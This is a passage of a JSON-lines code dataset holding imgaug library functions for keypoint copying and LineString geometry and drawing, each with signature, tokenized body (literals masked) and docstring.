maps were generated in inverted or normal mode.\n\nif_not_found_coords : tuple or list or dict or None, optional\n    Coordinates to use for keypoints that cannot be found in ``distance_maps``.\n    If this is a list/tuple, it must have two integer values.\n    If it is a dictionary, it must have the keys ``x`` and ``y``, with each\n    containing one integer value.\n    If this is None, then the keypoint will not be added to the final\n    KeypointsOnImage object.\n\nthreshold : float, optional\n    The search for keypoints works by searching for the argmin (non-inverted) or\n    argmax (inverted) in each channel. This parameters contains the maximum (non-inverted)\n    or minimum (inverted) value to accept in order to view a hit as a keypoint.\n    Use None to use no min/max.\n\nnb_channels : None or int, optional\n    Number of channels of the image on which the keypoints are placed.\n    Some keypoint augmenters require that information.\n    If set to None, the keypoint's shape will be set\n    to ``(height, width)``, otherwise ``(height, width, nb_channels)``.\n\nReturns\n-------\nimgaug.KeypointsOnImage\n    The extracted keypoints.", "id": "f16275:c1:m14"}
{"signature": "def copy(self, keypoints=None, shape=None):", "body": "result = copy.copy(self)<EOL>if keypoints is not None:<EOL><INDENT>result.keypoints = keypoints<EOL><DEDENT>if shape is not None:<EOL><INDENT>result.shape = shape<EOL><DEDENT>return result<EOL>", "docstring": "Create a shallow copy of the KeypointsOnImage object.\n\nParameters\n----------\nkeypoints : None or list of imgaug.Keypoint, optional\n    List of keypoints on the image. If ``None``, the instance's\n    keypoints will be copied.\n\nshape : tuple of int, optional\n    The shape of the image on which the keypoints are placed.\n    If ``None``, the instance's shape will be copied.\n\nReturns\n-------\nimgaug.KeypointsOnImage\n    Shallow copy.", "id": "f16275:c1:m15"}
{"signature": "def deepcopy(self, keypoints=None, shape=None):", "body": "<EOL>if keypoints is None:<EOL><INDENT>keypoints = [kp.deepcopy() for kp in self.keypoints]<EOL><DEDENT>if shape is None:<EOL><INDENT>shape = tuple(self.shape)<EOL><DEDENT>return KeypointsOnImage(keypoints, shape)<EOL>", "docstring": "Create a deep copy of the KeypointsOnImage object.\n\nParameters\n----------\nkeypoints : None or list of imgaug.Keypoint, optional\n    List of keypoints on the image. If ``None``, the instance's\n    keypoints will be copied.\n\nshape : tuple of int, optional\n    The shape of the image on which the keypoints are placed.\n    If ``None``, the instance's shape will be copied.\n\nReturns\n-------\nimgaug.KeypointsOnImage\n    Deep copy.", "id": "f16275:c1:m16"}
{"signature": "def __init__(self, coords, label=None):", "body": "<EOL>if ia.is_np_array(coords):<EOL><INDENT>if coords.dtype.name != \"<STR_LIT>\":<EOL><INDENT>coords = coords.astype(np.float32)<EOL><DEDENT><DEDENT>elif len(coords) == <NUM_LIT:0>:<EOL><INDENT>coords = np.zeros((<NUM_LIT:0>, <NUM_LIT:2>), dtype=np.float32)<EOL><DEDENT>else:<EOL><INDENT>assert ia.is_iterable(coords), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(coords),))<EOL>assert all([len(coords_i) == <NUM_LIT:2> for coords_i in coords]), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(coords),))<EOL>coords = np.float32(coords)<EOL><DEDENT>assert coords.ndim == <NUM_LIT:2> and coords.shape[-<NUM_LIT:1>] == <NUM_LIT:2>, (<EOL>\"<STR_LIT>\" % (<EOL>coords.shape,))<EOL>self.coords = coords<EOL>self.label = label<EOL>", "docstring": "Create a new LineString instance.", "id": "f16276:c0:m0"}
{"signature": "@property<EOL><INDENT>def length(self):<DEDENT>", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return np.sum(self.compute_neighbour_distances())<EOL>", "docstring": "Get the total euclidean length of the line string.\n\nReturns\n-------\nfloat\n    The length based on euclidean distance.", "id": "f16276:c0:m1"}
{"signature": "@property<EOL><INDENT>def xx(self):<DEDENT>", "body": "return self.coords[:, <NUM_LIT:0>]<EOL>", "docstring": "Get an array of x-coordinates of all points of the line string.", "id": "f16276:c0:m2"}
{"signature": "@property<EOL><INDENT>def yy(self):<DEDENT>", "body": "return self.coords[:, <NUM_LIT:1>]<EOL>", "docstring": "Get an array of y-coordinates of all points of the line string.", "id": "f16276:c0:m3"}
{"signature": "@property<EOL><INDENT>def xx_int(self):<DEDENT>", "body": "return np.round(self.xx).astype(np.int32)<EOL>", "docstring": "Get an array of discrete x-coordinates of all points.", "id": "f16276:c0:m4"}
{"signature": "@property<EOL><INDENT>def yy_int(self):<DEDENT>", "body": "return np.round(self.yy).astype(np.int32)<EOL>", "docstring": "Get an array of discrete y-coordinates of all points.", "id": "f16276:c0:m5"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "if len(self.coords) <= <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return np.max(self.yy) - np.min(self.yy)<EOL>", "docstring": "Get the height of a bounding box encapsulating the line.", "id": "f16276:c0:m6"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "if len(self.coords) <= <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return np.max(self.xx) - np.min(self.xx)<EOL>", "docstring": "Get the width of a bounding box encapsulating the line.", "id": "f16276:c0:m7"}
{"signature": "def get_pointwise_inside_image_mask(self, image):", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return np.zeros((<NUM_LIT:0>,), dtype=bool)<EOL><DEDENT>shape = normalize_shape(image)<EOL>height, width = shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>x_within = np.logical_and(<NUM_LIT:0> <= self.xx, self.xx < width)<EOL>y_within = np.logical_and(<NUM_LIT:0> <= self.yy, self.yy < height)<EOL>return np.logical_and(x_within, y_within)<EOL>", "docstring": "Get for each point whether it is inside of the given image plane.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\nReturns\n-------\nndarray\n    Boolean array with one value per point indicating whether it is\n    inside of the provided image plane (``True``) or not (``False``).", "id": "f16276:c0:m8"}
{"signature": "def compute_neighbour_distances(self):", "body": "if len(self.coords) <= <NUM_LIT:1>:<EOL><INDENT>return np.zeros((<NUM_LIT:0>,), dtype=np.float32)<EOL><DEDENT>return np.sqrt(<EOL>np.sum(<EOL>(self.coords[:-<NUM_LIT:1>, :] - self.coords[<NUM_LIT:1>:, :]) ** <NUM_LIT:2>,<EOL>axis=<NUM_LIT:1><EOL>)<EOL>)<EOL>", "docstring": "Get the euclidean distance between each two consecutive points.\n\nReturns\n-------\nndarray\n    Euclidean distances between point pairs.\n    Same order as in `coords`. For ``N`` points, ``N-1`` distances\n    are returned.", "id": "f16276:c0:m9"}
{"signature": "def compute_pointwise_distances(self, other, default=None):", "body": "import shapely.geometry<EOL>from .kps import Keypoint<EOL>if isinstance(other, Keypoint):<EOL><INDENT>other = shapely.geometry.Point((other.x, other.y))<EOL><DEDENT>elif isinstance(other, LineString):<EOL><INDENT>if len(other.coords) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>elif len(other.coords) == <NUM_LIT:1>:<EOL><INDENT>other = shapely.geometry.Point(other.coords[<NUM_LIT:0>, :])<EOL><DEDENT>else:<EOL><INDENT>other = shapely.geometry.LineString(other.coords)<EOL><DEDENT><DEDENT>elif isinstance(other, tuple):<EOL><INDENT>assert len(other) == <NUM_LIT:2><EOL>other = shapely.geometry.Point(other)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(other),))<EOL><DEDENT>return [shapely.geometry.Point(point).distance(other)<EOL>for point in self.coords]<EOL>", "docstring": "Compute the minimal distance between each point on self and other.\n\nParameters\n----------\nother : tuple of number \\\n        or imgaug.augmentables.kps.Keypoint \\\n        or imgaug.augmentables.LineString\n    Other object to which to compute the distances.\n\ndefault\n    Value to return if `other` contains no points.\n\nReturns\n-------\nlist of float\n    Distances to `other` or `default` if not distance could be computed.", "id": "f16276:c0:m10"}
{"signature": "def compute_distance(self, other, default=None):", "body": "<EOL>distances = self.compute_pointwise_distances(other, default=[])<EOL>if len(distances) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>return min(distances)<EOL>", "docstring": "Compute the minimal distance between the line string and `other`.\n\nParameters\n----------\nother : tuple of number \\\n        or imgaug.augmentables.kps.Keypoint \\\n        or imgaug.augmentables.LineString\n    Other object to which to compute the distance.\n\ndefault\n    Value to return if this line string or `other` contain no points.\n\nReturns\n-------\nfloat\n    Distance to `other` or `default` if not distance could be computed.", "id": "f16276:c0:m11"}
{"signature": "def contains(self, other, max_distance=<NUM_LIT>):", "body": "return self.compute_distance(other, default=np.inf) < max_distance<EOL>", "docstring": "Estimate whether the bounding box contains a point.\n\nParameters\n----------\nother : tuple of number or imgaug.augmentables.kps.Keypoint\n    Point to check for.\n\nmax_distance : float\n    Maximum allowed euclidean distance between the point and the\n    closest point on the line. If the threshold is exceeded, the point\n    is not considered to be contained in the line.\n\nReturns\n-------\nbool\n    True if the point is contained in the line string, False otherwise.\n    It is contained if its distance to the line or any of its points\n    is below a threshold.", "id": "f16276:c0:m12"}
{"signature": "def project(self, from_shape, to_shape):", "body": "coords_proj = project_coords(self.coords, from_shape, to_shape)<EOL>return self.copy(coords=coords_proj)<EOL>", "docstring": "Project the line string onto a differently shaped image.\n\nE.g. if a point of the line string is on its original image at\n``x=(10 of 100 pixels)`` and ``y=(20 of 100 pixels)`` and is projected\nonto a new image with size ``(width=200, height=200)``, its new\nposition will be ``(x=20, y=40)``.\n\nThis is intended for cases where the original image is resized.\nIt cannot be used for more complex changes (e.g. padding, cropping).\n\nParameters\n----------\nfrom_shape : tuple of int or ndarray\n    Shape of the original image. (Before resize.)\n\nto_shape : tuple of int or ndarray\n    Shape of the new image. (After resize.)\n\nReturns\n-------\nout : imgaug.augmentables.lines.LineString\n    Line string with new coordinates.", "id": "f16276:c0:m13"}
{"signature": "def is_fully_within_image(self, image, default=False):", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>return np.all(self.get_pointwise_inside_image_mask(image))<EOL>", "docstring": "Estimate whether the line string is fully inside the image area.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\ndefault\n    Default value to return if the line string contains no points.\n\nReturns\n-------\nbool\n    True if the line string is fully inside the image area.\n    False otherwise.", "id": "f16276:c0:m14"}
{"signature": "def is_partly_within_image(self, image, default=False):", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>mask = self.get_pointwise_inside_image_mask(image)<EOL>if np.any(mask):<EOL><INDENT>return True<EOL><DEDENT>return len(self.clip_out_of_image(image)) > <NUM_LIT:0><EOL>", "docstring": "Estimate whether the line string is at least partially inside the image.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\ndefault\n    Default value to return if the line string contains no points.\n\nReturns\n-------\nbool\n    True if the line string is at least partially inside the image area.\n    False otherwise.", "id": "f16276:c0:m15"}
{"signature": "def is_out_of_image(self, image, fully=True, partly=False, default=True):", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>if self.is_fully_within_image(image):<EOL><INDENT>return False<EOL><DEDENT>elif self.is_partly_within_image(image):<EOL><INDENT>return partly<EOL><DEDENT>else:<EOL><INDENT>return fully<EOL><DEDENT>", "docstring": "Estimate whether the line is partially/fully outside of the image area.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\nfully : bool, optional\n    Whether to return True if the bounding box is fully outside fo the\n    image area.\n\npartly : bool, optional\n    Whether to return True if the bounding box is at least partially\n    outside fo the image area.\n\ndefault\n    Default value to return if the line string contains no points.\n\nReturns\n-------\nbool\n    `default` if the line string has no points.\n    True if the line string is partially/fully outside of the image\n    area, depending on defined parameters.\n    False otherwise.", "id": "f16276:c0:m16"}
{"signature": "def clip_out_of_image(self, image):", "body": "if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>inside_image_mask = self.get_pointwise_inside_image_mask(image)<EOL>ooi_mask = ~inside_image_mask<EOL>if len(self.coords) == <NUM_LIT:1>:<EOL><INDENT>if not np.any(inside_image_mask):<EOL><INDENT>return []<EOL><DEDENT>return [self.copy()]<EOL><DEDENT>if np.all(inside_image_mask):<EOL><INDENT>return [self.copy()]<EOL><DEDENT>height, width = normalize_shape(image)[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>eps = <NUM_LIT><EOL>edges = [<EOL>LineString([(<NUM_LIT:0.0>, <NUM_LIT:0.0>), (width - eps, <NUM_LIT:0.0>)]),<EOL>LineString([(width - eps, <NUM_LIT:0.0>), (width - eps, height - eps)]),<EOL>LineString([(width - eps, height - eps), (<NUM_LIT:0.0>, height - eps)]),<EOL>LineString([(<NUM_LIT:0.0>, height - eps), (<NUM_LIT:0.0>, <NUM_LIT:0.0>)])<EOL>]<EOL>intersections = self.find_intersections_with(edges)<EOL>points = []<EOL>gen = enumerate(zip(self.coords[:-<NUM_LIT:1>], self.coords[<NUM_LIT:1>:],<EOL>ooi_mask[:-<NUM_LIT:1>], ooi_mask[<NUM_LIT:1>:],<EOL>intersections))<EOL>for i, (line_start, line_end, ooi_start, ooi_end, inter_line) in gen:<EOL><INDENT>points.append((line_start, False, ooi_start))<EOL>for p_inter in inter_line:<EOL><INDENT>points.append((p_inter, True, False))<EOL><DEDENT>is_last = (i == len(self.coords) - <NUM_LIT:2>)<EOL>if is_last and not ooi_end:<EOL><INDENT>points.append((line_end, False, ooi_end))<EOL><DEDENT><DEDENT>lines = []<EOL>line = []<EOL>for i, (coord, was_added, ooi) in enumerate(points):<EOL><INDENT>if ooi:<EOL><INDENT>if len(line) > <NUM_LIT:0>:<EOL><INDENT>lines.append(line)<EOL>line = []<EOL><DEDENT>continue<EOL><DEDENT>if not was_added:<EOL><INDENT>line.append(coord)<EOL><DEDENT>else:<EOL><INDENT>is_last_point = (i == len(points)-<NUM_LIT:1>)<EOL>is_next_ooi = (not is_last_point<EOL>and bool(points[i+<NUM_LIT:1>][<NUM_LIT:2>]) is True)<EOL>p_prev = line[-<NUM_LIT:1>] if len(line) > <NUM_LIT:0> else None<EOL>p_next = None<EOL>if not is_last_point and not is_next_ooi:<EOL><INDENT>p_next = points[i+<NUM_LIT:1>][<NUM_LIT:0>]<EOL><DEDENT>dist_prev = None<EOL>dist_next = None<EOL>if p_prev is not None:<EOL><INDENT>dist_prev = np.linalg.norm(<EOL>np.float32(coord) - np.float32(p_prev))<EOL><DEDENT>if p_next is not None:<EOL><INDENT>dist_next = np.linalg.norm(<EOL>np.float32(coord) - np.float32(p_next))<EOL><DEDENT>dist_prev_ok = (dist_prev is None or dist_prev > <NUM_LIT>)<EOL>dist_next_ok = (dist_next is None or dist_next > <NUM_LIT>)<EOL>if dist_prev_ok and dist_next_ok:<EOL><INDENT>line.append(coord)<EOL><DEDENT><DEDENT><DEDENT>if len(line) > <NUM_LIT:0>:<EOL><INDENT>lines.append(line)<EOL><DEDENT>lines = [line for line in lines if len(line) > <NUM_LIT:0>]<EOL>return [self.deepcopy(coords=line) for line in lines]<EOL>", "docstring": "Clip off all parts of the line_string that are outside of the image.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\nReturns\n-------\nlist of imgaug.augmentables.lines.LineString\n    Line strings, clipped to the image shape.\n    The result may contain any number of line strins, including zero.", "id": "f16276:c0:m17"}
{"signature": "def find_intersections_with(self, other):", "body": "import shapely.geometry<EOL>geom = _convert_var_to_shapely_geometry(other)<EOL>result = []<EOL>for p_start, p_end in zip(self.coords[:-<NUM_LIT:1>], self.coords[<NUM_LIT:1>:]):<EOL><INDENT>ls = shapely.geometry.LineString([p_start, p_end])<EOL>intersections = ls.intersection(geom)<EOL>intersections = list(_flatten_shapely_collection(intersections))<EOL>intersections_points = []<EOL>for inter in intersections:<EOL><INDENT>if isinstance(inter, shapely.geometry.linestring.LineString):<EOL><INDENT>inter_start = (inter.coords[<NUM_LIT:0>][<NUM_LIT:0>], inter.coords[<NUM_LIT:0>][<NUM_LIT:1>])<EOL>inter_end = (inter.coords[-<NUM_LIT:1>][<NUM_LIT:0>], inter.coords[-<NUM_LIT:1>][<NUM_LIT:1>])<EOL>intersections_points.extend([inter_start, inter_end])<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(inter, shapely.geometry.point.Point), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (type(inter),))<EOL>intersections_points.append((inter.x, inter.y))<EOL><DEDENT><DEDENT>inter_sorted = sorted(<EOL>intersections_points,<EOL>key=lambda p: np.linalg.norm(np.float32(p) - p_start)<EOL>)<EOL>result.append(inter_sorted)<EOL><DEDENT>return result<EOL>", "docstring": "Find all intersection points between the line string and `other`.\n\nParameters\n----------\nother : tuple of number or list of tuple of number or \\\n        list of LineString or LineString\n    The other geometry to use during intersection tests.\n\nReturns\n-------\nlist of list of tuple of number\n    All intersection points. One list per pair of consecutive start\n    and end point, i.e. `N-1` lists of `N` points. Each list may\n    be empty or may contain multiple points.", "id": "f16276:c0:m18"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "top = top if top is not None else <NUM_LIT:0><EOL>right = right if right is not None else <NUM_LIT:0><EOL>bottom = bottom if bottom is not None else <NUM_LIT:0><EOL>left = left if left is not None else <NUM_LIT:0><EOL>coords = np.copy(self.coords)<EOL>coords[:, <NUM_LIT:0>] += left - right<EOL>coords[:, <NUM_LIT:1>] += top - bottom<EOL>return self.copy(coords=coords)<EOL>", "docstring": "Shift/move the line string from one or more image sides.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift the bounding box from the\n    top.\n\nright : None or int, optional\n    Amount of pixels by which to shift the bounding box from the\n    right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift the bounding box from the\n    bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift the bounding box from the\n    left.\n\nReturns\n-------\nresult : imgaug.augmentables.lines.LineString\n    Shifted line string.", "id": "f16276:c0:m19"}
{"signature": "def draw_mask(self, image_shape, size_lines=<NUM_LIT:1>, size_points=<NUM_LIT:0>,<EOL>raise_if_out_of_image=False):", "body": "heatmap = self.draw_heatmap_array(<EOL>image_shape,<EOL>alpha_lines=<NUM_LIT:1.0>, alpha_points=<NUM_LIT:1.0>,<EOL>size_lines=size_lines, size_points=size_points,<EOL>antialiased=False,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>return heatmap > <NUM_LIT:0.5><EOL>", "docstring": "Draw this line segment as a binary image mask.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the line mask.\n\nsize_lines : int, optional\n    Thickness of the line segments.\n\nsize_points : int, optional\n    Size of the points in pixels.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Boolean line mask of shape `image_shape` (no channel axis).", "id": "f16276:c0:m20"}
{"signature": "def draw_lines_heatmap_array(self, image_shape, alpha=<NUM_LIT:1.0>,<EOL>size=<NUM_LIT:1>, antialiased=True,<EOL>raise_if_out_of_image=False):", "body": "assert len(image_shape) == <NUM_LIT:2> or (<EOL>len(image_shape) == <NUM_LIT:3> and image_shape[-<NUM_LIT:1>] == <NUM_LIT:1>), (<EOL>\"<STR_LIT>\" % (<EOL>image_shape,))<EOL>arr = self.draw_lines_on_image(<EOL>np.zeros(image_shape, dtype=np.uint8),<EOL>color=<NUM_LIT:255>, alpha=alpha, size=size,<EOL>antialiased=antialiased,<EOL>raise_if_out_of_image=raise_if_out_of_image<EOL>)<EOL>return arr.astype(np.float32) / <NUM_LIT><EOL>", "docstring": "Draw the line segments of the line string as a heatmap array.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the line mask.\n\nalpha : float, optional\n    Opacity of the line string. Higher values denote a more visible\n    line string.\n\nsize : int, optional\n    Thickness of the line segments.\n\nantialiased : bool, optional\n    Whether to draw the line with anti-aliasing activated.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Float array of shape `image_shape` (no channel axis) with drawn\n    line string. All values are in the interval ``[0.0, 1.0]``.", "id": "f16276:c0:m21"}
{"signature": "def draw_points_heatmap_array(self, image_shape, alpha=<NUM_LIT:1.0>,<EOL>size=<NUM_LIT:1>, raise_if_out_of_image=False):", "body": "assert len(image_shape) == <NUM_LIT:2> or (<EOL>len(image_shape) == <NUM_LIT:3> and image_shape[-<NUM_LIT:1>] == <NUM_LIT:1>), (<EOL>\"<STR_LIT>\" % (<EOL>image_shape,))<EOL>arr = self.draw_points_on_image(<EOL>np.zeros(image_shape, dtype=np.uint8),<EOL>color=<NUM_LIT:255>, alpha=alpha, size=size,<EOL>raise_if_out_of_image=raise_if_out_of_image<EOL>)<EOL>return arr.astype(np.float32) / <NUM_LIT><EOL>", "docstring": "Draw the points of the line string as a heatmap array.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the point mask.\n\nalpha : float, optional\n    Opacity of the line string points. Higher values denote a more\n    visible points.\n\nsize : int, optional\n    Size of the points in pixels.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Float array of shape `image_shape` (no channel axis) with drawn\n    line string points. All values are in the interval ``[0.0, 1.0]``.", "id": "f16276:c0:m22"}
{"signature": "def draw_heatmap_array(self, image_shape, alpha_lines=<NUM_LIT:1.0>, alpha_points=<NUM_LIT:1.0>,<EOL>size_lines=<NUM_LIT:1>, size_points=<NUM_LIT:0>, antialiased=True,<EOL>raise_if_out_of_image=False):", "body": "heatmap_lines = self.draw_lines_heatmap_array(<EOL>image_shape,<EOL>alpha=alpha_lines,<EOL>size=size_lines,<EOL>antialiased=antialiased,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>if size_points <= <NUM_LIT:0>:<EOL><INDENT>return heatmap_lines<EOL><DEDENT>heatmap_points = self.draw_points_heatmap_array(<EOL>image_shape,<EOL>alpha=alpha_points,<EOL>size=size_points,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>heatmap = np.dstack([heatmap_lines, heatmap_points])<EOL>return np.max(heatmap, axis=<NUM_LIT:2>)<EOL>", "docstring": "Draw the line segments and points of the line string as a heatmap array.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the line mask.\n\nalpha_lines : float, optional\n    Opacity of the line string. Higher values denote a more visible\n    line string.\n\nalpha_points : float, optional\n    Opacity of the line string points. Higher values denote a more\n    visible points.\n\nsize_lines : int, optional\n    Thickness of the line segments.\n\nsize_points : int, optional\n    Size of the points in pixels.\n\nantialiased : bool, optional\n    Whether to draw the line with anti-aliasing activated.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Float array of shape `image_shape` (no channel axis) with drawn\n    line segments and points. All values are in the\n    interval ``[0.0, 1.0]``.", "id": "f16276:c0:m23"}
{"signature": "def draw_lines_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>),<EOL>alpha=<NUM_LIT:1.0>, size=<NUM_LIT:3>,<EOL>antialiased=True,<EOL>raise_if_out_of_image=False):", "body": "from .. import dtypes as iadt<EOL>from ..augmenters import blend as blendlib<EOL>image_was_empty = False<EOL>if isinstance(image, tuple):<EOL><INDENT>image_was_empty = True<EOL>image = np.zeros(image, dtype=np.uint8)<EOL><DEDENT>assert image.ndim in [<NUM_LIT:2>, <NUM_LIT:3>], (<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (image.shape,))<EOL>if len(self.coords) <= <NUM_LIT:1> or alpha < <NUM_LIT:0> + <NUM_LIT> or size < <NUM_LIT:1>:<EOL><INDENT>return np.copy(image)<EOL><DEDENT>if raise_if_out_of_imageand self.is_out_of_image(image, partly=False, fully=True):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>self.__str__(), image.shape))<EOL><DEDENT>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>assert ia.is_single_number(color), (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(color),))<EOL>color = [color]<EOL><DEDENT>elif image.ndim == <NUM_LIT:3> and ia.is_single_number(color):<EOL><INDENT>color = [color] * image.shape[-<NUM_LIT:1>]<EOL><DEDENT>image = image.astype(np.float32)<EOL>height, width = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>lines = []<EOL>for line_start, line_end in zip(self.coords[:-<NUM_LIT:1>], self.coords[<NUM_LIT:1>:]):<EOL><INDENT>lines.append((line_start[<NUM_LIT:1>], line_start[<NUM_LIT:0>],<EOL>line_end[<NUM_LIT:1>], line_end[<NUM_LIT:0>]))<EOL><DEDENT>lines = np.round(np.float32(lines)).astype(np.int32)<EOL>color = np.float32(color)<EOL>heatmap = np.zeros(image.shape[<NUM_LIT:0>:<NUM_LIT:2>], dtype=np.float32)<EOL>for line in lines:<EOL><INDENT>if antialiased:<EOL><INDENT>rr, cc, val = skimage.draw.line_aa(*line)<EOL><DEDENT>else:<EOL><INDENT>rr, cc = skimage.draw.line(*line)<EOL>val = <NUM_LIT:1.0><EOL><DEDENT>rr_mask = np.logical_and(<NUM_LIT:0> <= rr, rr < height)<EOL>cc_mask = np.logical_and(<NUM_LIT:0> <= cc, cc < width)<EOL>mask = np.logical_and(rr_mask, cc_mask)<EOL>if np.any(mask):<EOL><INDENT>rr = rr[mask]<EOL>cc = cc[mask]<EOL>val = val[mask] if not ia.is_single_number(val) else val<EOL>heatmap[rr, cc] = val * alpha<EOL><DEDENT><DEDENT>if size > <NUM_LIT:1>:<EOL><INDENT>kernel = np.ones((size, size), dtype=np.uint8)<EOL>heatmap = cv2.dilate(heatmap, kernel)<EOL><DEDENT>if image_was_empty:<EOL><INDENT>image_blend = image + heatmap * color<EOL><DEDENT>else:<EOL><INDENT>image_color_shape = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>if image.ndim == <NUM_LIT:3>:<EOL><INDENT>image_color_shape = image_color_shape + (<NUM_LIT:1>,)<EOL><DEDENT>image_color = np.tile(color, image_color_shape)<EOL>image_blend = blendlib.blend_alpha(image_color, image, heatmap)<EOL><DEDENT>image_blend = iadt.restore_dtypes_(image_blend, np.uint8)<EOL>return image_blend<EOL>", "docstring": "Draw the line segments of the line string on a given image.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    The image onto which to draw.\n    Expected to be ``uint8`` and of shape ``(H, W, C)`` with ``C``\n    usually being ``3`` (other values are not tested).\n    If a tuple, expected to be ``(H, W, C)`` and will lead to a new\n    ``uint8`` array of zeros being created.\n\ncolor : int or iterable of int\n    Color to use as RGB, i.e. three values.\n\nalpha : float, optional\n    Opacity of the line string. Higher values denote a more visible\n    line string.\n\nsize : int, optional\n    Thickness of the line segments.\n\nantialiased : bool, optional\n    Whether to draw the line with anti-aliasing activated.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    `image` with line drawn on it.", "id": "f16276:c0:m24"}
{"signature": "def draw_points_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT>, <NUM_LIT:0>),<EOL>alpha=<NUM_LIT:1.0>, size=<NUM_LIT:3>,<EOL>copy=True, raise_if_out_of_image=False):", "body": "from .kps import KeypointsOnImage<EOL>kpsoi = KeypointsOnImage.from_xy_array(self.coords, shape=image.shape)<EOL>image = kpsoi.draw_on_image(<EOL>image, color=color, alpha=alpha,<EOL>size=size, copy=copy,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>return image<EOL>", "docstring": "Draw the points of the line string on a given image.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    The image onto which to draw.\n    Expected to be ``uint8`` and of shape ``(H, W, C)`` with ``C``\n    usually being ``3`` (other values are not tested).\n    If a tuple, expected to be ``(H, W, C)`` and will lead to a new\n    ``uint8`` array of zeros being created.\n\ncolor : iterable of int\n    Color to use as RGB, i.e. three values.\n\nalpha : float, optional\n    Opacity of the line string points. Higher values denote a more\n    visible points.\n\nsize : int, optional\n    Size of the points in pixels.\n\ncopy : bool, optional\n    Whether it is allowed to draw directly in the input\n    array (``False``) or it has to be copied (``True``).\n    The routine may still have to copy, even if ``copy=False`` was\n    used. Always use the return value.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Float array of shape `image_shape` (no channel axis) with drawn\n    line string points. All values are in the interval ``[0.0, 1.0]``.", "id": "f16276:c0:m25"}
